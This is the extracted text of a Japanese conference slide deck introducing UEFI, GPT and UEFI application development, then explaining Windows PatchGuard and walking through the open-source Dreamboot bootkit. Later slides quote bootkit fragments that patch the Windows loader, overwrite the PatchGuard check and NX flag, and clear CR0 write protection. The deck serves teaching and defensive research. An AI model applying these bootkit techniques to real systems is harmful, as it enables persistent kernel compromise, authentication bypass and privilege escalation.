Slide 1

Slide 1 text

EFI Undercover @ntddk

Slide 2

Slide 2 text

UEFI www.uefi.org

Slide 3

Slide 3 text

自己紹介 ● Yuma Kurogome(@ntddk) #include ● 慶應義塾大学 SFC B1, 武田研 ● Synclogue Inc. ● セプキャン2011, セキュキャン2013 ● RCE, kernel hack

Slide 4

Slide 4 text

リバースエンジニアリング necomimi ● ロジアナ – αLow/Hi: リラックス – βLow/Hi: 活性化 – γLow/Mid: ピキーン – δ: 深いリラックス – θ: 睡眠 ● 脳波の異常検知? – fluent-plugin-serialport: ログ整形 – Jubatus: 機械学習

Slide 5

Slide 5 text

今回話すこと ● UEFI ● PatchGuard

Slide 6

Slide 6 text

* 初心者向け * 日本語の書籍が無い...

Slide 7

Slide 7 text

UEFI?

Slide 8

Slide 8 text

UEFIとは ● BIOSに代わるブートシステム ● IntelとHPが1990年台にIA64アーキテクチャを 設計 ● IA64にBIOSなんか乗せてられない – 16ビットプロセッサモード、1MBのアドレス空間、 PC/ATハードウェアへの依存

Slide 9

Slide 9 text

UEFIとは ● BIOSに代わるブートシステム ● IntelとHPが1990年台にIA64アーキテクチャを 設計 ● BIOSが許されるのは小学生までだよね – 16ビットプロセッサモード、1MBのアドレス空間、 PC/ATハードウェアへの依存 → CPU非依存なアーキテクチャ、ドライバ

Slide 10

Slide 10 text

UEFIとは ● Intel → Unified EFI Forum EFI → UEFI, 2.x系がリリース ● 2009年頃から普及 – 2TBの壁を克服 – モジュラー型 – 高速起動

Slide 11

Slide 11 text

2TBの壁 ● MBRのパーティションテーブルでは、開始セク タ値とセクタ数が 32bit(4G sectors) ● 4G sectors * 512byte = 2TB ● パーティションテーブルかセクタサイズを変え るしかない → 互換性? ● GPTを前提としているUEFIに移行! ● 32bit LBA → 64bit LBA

Slide 12

Slide 12 text

MBRとGPTの比較 ● パーティション: 4個 → 128個 ● セクタアドレス長: 32bit → 64bit ● パーティションタイプ: 1byte → 16byte GUID ● ブートフラグ: 1byte→ 属性フラグ 8bytes ● パーティション名: 72bytes UTF-16 ● バックアップのパーティションテーブル領域

Slide 13

Slide 13 text

GPT

Slide 14

Slide 14 text

GPT パーティションエントリ オフセット サイズ 内容 0 16byte パーティションタイプGUID 16 16byte パーティーションユニークGUID 32 8byte 開始LBAアドレス 40 8byte 終了LBAアドレス 48 8byte 属性フラグ 56 72byte パーティション名 EFIシステムパーティションなら {C12A7328-F81F-11D2-BA4B-00A0C93EC93B}

Slide 15

Slide 15 text

UEFIの見た目

Slide 16

Slide 16 text

UEFIの見た目 ● グラフィカルに実装できる ● もちろんBIOSそっくりの画面のものもある ● Boot ManagerというGRUBのブートメニュー のようなものがある ● UEFI Shellというコマンドプロンプトのような シェルがある

Slide 17

Slide 17 text

メインメニュー

Slide 18

Slide 18 text

Boot Managar ブート画面の選択画面 OSは自分のブートローダをここに登録する

Slide 19

Slide 19 text

Boot Maintenance Manager メニューの編集、ロードするドライバの指定、任 意のファイル実行など

Slide 20

Slide 20 text

UEFI Shell ださいシェル 任意のOS起動などに使用

Slide 21

Slide 21 text

GRUB 2 FOR UEFI

Slide 22

Slide 22 text

UEFIからのブート BootManagerの設定値がデフォルトの場合 ● UEFIがHDDを検出、GPTをロード ● EFI System Partitionを検索 ● \EFI\BOOT\bootx64.efi or \EFI\BOOT\bootx32.efi をロード

Slide 23

Slide 23 text

EFI SYSTEM PARTITION ● パーティションタイプGUIDがEFI System Partitionな FATファイルシステム ● GPTにブートセクタは無い ● ここからUEFIアプリケーションをロードするこ とで起動

Slide 24

Slide 24 text

UEFI Application ● PEフォーマットのバイナリとドライバ ● 32bit/64bit, Long modeも ● 拡張子: .EFI ● UEFI APIを利用して各種処理を実装

Slide 25

Slide 25 text

UEFI APPLICATIONの種類 ● 2種類のUEFI Application – 通常のUEFI Application: 終了時にExit()をコール し、 UEFI Shellなどに制御を戻す – OS Loader: 終了時にExitBootServices()をコール し、 UEFIが利用していた資源を開放して制御をOS へ移す

Slide 26

Slide 26 text

RUNTIME SERVICE ● ExitBootServices()後もUEFIがOSに対して提供 するサービス ● 最低限の機能のみ ● Time (GetTime, SetTime...) ● Virtual Memory (SetirtualAddressMap...) ● Variable Services (GetVariable...) ● Miscellaneous Services(ResetSystem...)

Slide 27

Slide 27 text

BOOT SERVICE ● ExitBootServices()までUEFI Applicationに提供 するサービス – Task Priority Services (RaiseTPL...) – Memory Services (AllocatePages...) – Event & Timer Services (CreateEvent, SetTimer...) – Protocol Handler Services (HandleProtocol...) – Image Services (LoadImage, StartImage...) – Miscellaneous Services (Stall, CopyMem...) – Open and Close Protocol Services (OpenProtocol...) – Library Services (LocateProtocol...) – 32bit CRC Services (CalculateCrc32...)

Slide 28

Slide 28 text

Hello, World! #include EFI_STATUS EFIAPI UefiMain(IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE *SystemTable) { Print (L"Hello, World!"); return EFI_SUCCESS; }

Slide 29

Slide 29 text

Hello, World! EFI_STATUS EFIAPI UefiMain(IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE *SystemTable) 引数は2個(ImageHandle, SystemTable) ● ImageHandleはロードされたUEFI Applicationの イメージファイルに対するハンドル ● SystemTableを経由して全てのUEFI APIへアクセ ス

Slide 30

Slide 30 text

EFI System Table typedef struct { EFI_TABLE_HEADER Hdr; CHAR16 *FirmwareVendor; UINT32 FirmwareRevision; EFI_HANDLE ConsoleInHandle; // 例えばこれはコンソール出力、ポインタが用意されてる EFI_SIMPLE_TEXT_INPUT_PROTOCOL *ConIn; EFI_HANDLE ConsoleOutHandle; EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *ConOut; EFI_HANDLE StandardErrorHandle; EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *StdErr; EFI_RUNTIME_SERVICES *RuntimeServices; EFI_BOOT_SERVICES *BootServices; UINTN NumberOfTableEntries; EFI_CONFIGURATION_TABLE *ConfigurationTable; } EFI_SYSTEM_TABLE; UEFI Applicationに対して公開するインタフェー スが全て詰め込まれた構造体

Slide 31

Slide 31 text

PROCOTOLS ● ネットワークプロトコルスタックのことではな く・・・・・・ ● UEFI上で提供される様々なサービス ● UEFI Driverを実装しUEFIへロードすることで 自作のProtocolを提供する事も可能

Slide 32

Slide 32 text

Protocols ● IP4/6, UDP/TCP 4/6, ARP, DHCP4/6, MTFP4/6, FTP, PXE, iSCSI ● VLAN, EAP, IPsec (IKEv2) ● PCI, USB, SCSI, AHCI, removable media ● GPT, vFAT ● Console, Graphical Mode, Human Interface ● User Identi cation fi ● ACPI, SMRAM ● Debugger ● Compression ● EFI Byte Code Virtual Machine ● Firmware management

Slide 33

Slide 33 text

locate Windows bootloader BS->LocateHandleBuffer(ByProtocol,&FileSystemProtocol,NULL,&nbHdles,&hdleArr); for(i=0;iHandleProtocol(hdleArr[i],&FileSystemProtocol,(void **)&ioDevice); if(err != EFI_SUCCESS) continue; err=ioDevice->OpenVolume(ioDevice,&handleRoots); if(err != EFI_SUCCESS) continue; err = handleRoots->Open(handleRoots,&bootFile,WINDOWS_BOOTX64_IMAGEPATH, EFI_FILE_MODE_READ,EFI_FILE_READ_ONLY); if(err == EFI_SUCCESS) { handleRoots->Close(bootFile); *LoaderDevicePath = FileDevicePath(handleArray[i],WIN_BOOTX64_IMAGEPATH); break; } }

Slide 34

Slide 34 text

UEFIのSDK ● EDK II – デファクトスタンダードだが・・・・・・ – trunkだと良くハマる ● UDK2010 – IntelによるEDK IIのstable – 機能はEDK IIに劣る ● gnu-efi – UEFI ApplicationのみのためのLightweight実装 –

Slide 35

Slide 35 text

UEFIのSDK ● EFI Toolkit – TianoCoreが開発するOSS – gnu-efiのもと – EFI Shell開発にはEDKのほうが強いが、スタンドア ローンならこちらに分がある

Slide 36

Slide 36 text

VMでのUEFI開発 ● Virtual Box – ネイティブに実行可能 – Windowsのブートはできなかった ● VMWare – vmxを編集 ● firmware = "efi" – gdbスタブ ● debugStub.listen.guest64 = "TRUE" ● debugStub.listen.guest64.remote = "TRUE" ● debugStub.hideBreakpoints = "TRUE" ● monitor.debugOnStartGuest64 = "TRUE"

Slide 37

Slide 37 text

時代はUEFI ● リアルモードのアセンブリを書かなくていい ● サイズに悩まなくていい ● 気軽にCで書ける ● VMで検証できる ● Intel SDMを読め → UEFI Specificationを読め – Intelに限定されない

Slide 38

Slide 38 text

UEFIの問題点 ● Lenovo製コンピュータに載ったUEFIの実装 – 本来ファームウェアがパースすべきでない文字列を パース – デフォルトで使われているブートエントリの表示名 と一致しなければブートを拒否

Slide 39

Slide 39 text

PatchGuard?

Slide 40

Slide 40 text

PatchGuardとは ● 64bit版Windowsに実装されたカーネル保護機構 ● Kernel Patch Protection(KPP)とも ● カーネル領域の変更を監視 – SDT: 全システムコールのテーブル – IDT: 割り込み – GDT: セグメントディスクリプタを置く領域 – カーネルからアロケートされていないカーネルス タック ● 多くのrootkitは時代遅れに

Slide 41

Slide 41 text

時代遅れのrootkit 悪魔のツール“ルートキット”最前線 http://nkbp.jp/12xqHtA

Slide 42

Slide 42 text

PatchGuard ● Bypassing PatchGuardで検索 ● How to boost PatchGuard : it's all about gong fu! www.zer0mem.sk/?p=271 ● RebootすることなくPatchGuardを突破する

Slide 43

Slide 43 text

UEFI ApplicationによるPatchGuardのbypass手法

Slide 44

Slide 44 text

Dreamboot: A UEFI Bootkit ● Sebastien kaczmarek, Quarkslab. ● HITB2013 Amsterdamにて発表された ● オープンソース!!! ● https://github.com/quarkslab/dreamboot

Slide 45

Slide 45 text

Dreamboot: A UEFI Bootkit ● ブートローダ – bootmgfw.efiのフック – winload.efiのフック ● カーネル – PatchGuardの無効化 – Dreambootのコードをリロケート – PsSetLoadImageNotifyRoutine()

Slide 46

Slide 46 text

Dreamboot: A UEFI Bootkit

Slide 47

Slide 47 text

Dreamboot: A UEFI Bootkit ● UEFI Bootkitを理解するために読むべきソース – QuarksMain.c – hooks.asm ● 他は描画処理とPEロード

Slide 48

Slide 48 text

QuarksMain.c ● ハードウェアからブートローダを検索 – EFI_FILE_IO_INTERFACEを利用 ● PEのロード BS->LoadImage(TRUE,ParentHdle,WinLdrDp,NULL,0,&hImg); ● PEメモリレイアウトの取得 BS->HandleProtocol(hImg,&LoadedImageProtocol, (void **)&img_inf); ● PEにパッチ *((byte *)(img_inf->ImageBase) + offset = NOP; ● ブート BS->StartImage(hImg,(UINTN *)NULL,(CHAR16 **)NULL);

Slide 49

Slide 49 text

hooks.asm ● OslArchTransferToKernel()をフック – winload.exe → ntoskrnl.exeの際に呼び出さ れる – kiSystemStartup()を呼び出すように書き換 え

Slide 50

Slide 50 text

hooks.asm ● NX flagの書き換え lea rcx, NTOSKRNL_PATTERN_NXFlag sub rbx,NTOSKRNL_PATTERN_NXFlag_size push rdx mov rax,rdx mov rdx,NTOSKRNL_PATTERN_NXFlag_size call kernel_find_pattern cmp rax,0 je winload_OslArchTransferToKernel_hook_exit mov byte ptr[rax],0EBh mov NTOSKRNL_NxPatchAddr,rax

Slide 51

Slide 51 text

hooks.asm ● PatchGuardの書き換え mov rax,[rsp] lea rcx,NTOSKRNL_PATTERN_PATCHGUARD mov rdx,NTOSKRNL_PATTERN_PATCHGUARD_size call kernel_find_pattern cmp rax,0 je winload_OslArchTransferToKernel_hook_exit mov dword ptr[rax+2],090D23148h mov word ptr[rax+6],09090h mov byte ptr[rax+8],090h

Slide 52

Slide 52 text

hooks.asm ● PEのパース ● NtSetInformationThreadのフック – 通常smss.exeの作成時あるいはシステムプロセスの 作成中に呼ばれるが、無効に ● NX bit無効化後にntoskrnlにペイロードを挿入 ● PEが実行される前にパッチできる ● Bypassing local authentication + Priviledge escalation

Slide 53

Slide 53 text

hooks.asm ● WP flagの書き換え ● rootkitでいつも書くアレ CR0_WP_CLEAR_MASK equ 0fffeffffh CR0_WP_SET_MASK equ 010000h cli mov rcx,cr0 and rcx, CR0_WP_CLEAR_MASK ; Unprotect kernel memory mov cr0,rcx mov rcx,cr0 or rcx, CR0_WP_SET_MASK ; Restore memory protection mov cr0,rcx sti

Slide 54

Slide 54 text

まとめ ● UEFIで気軽にローレイヤー ● PatchGuardが許されるのは(ry

Slide 55

Slide 55 text

やりたいこと ● 悪名高いUEFI Secure Bootの補助 ● OSが読み込む前に安全なチップからファイル やメモリをスキャン ● rootkit/bootkit対策 ● 起動のブロック

Slide 56

Slide 56 text

やりたいこと ・・・・・・というのを既にKasperskyがやってた “Kaspersky Anti-Virus for UEFI”

Slide 57

Slide 57 text

やりたいこと ● 見てろよKaspersky ● UEFI basedなマルウェア対策? ● JIANG Zhengwei,WANG Xiaozhen,LIU Baoxu2. UEFI malicious behavior detection model based on minimal attack tree. Computer Engineering and Applications,2012,48(32):14-17 とか、そのあたり

Slide 58

Slide 58 text

!!! 新規性 !!! Thanks @syuu1228 :)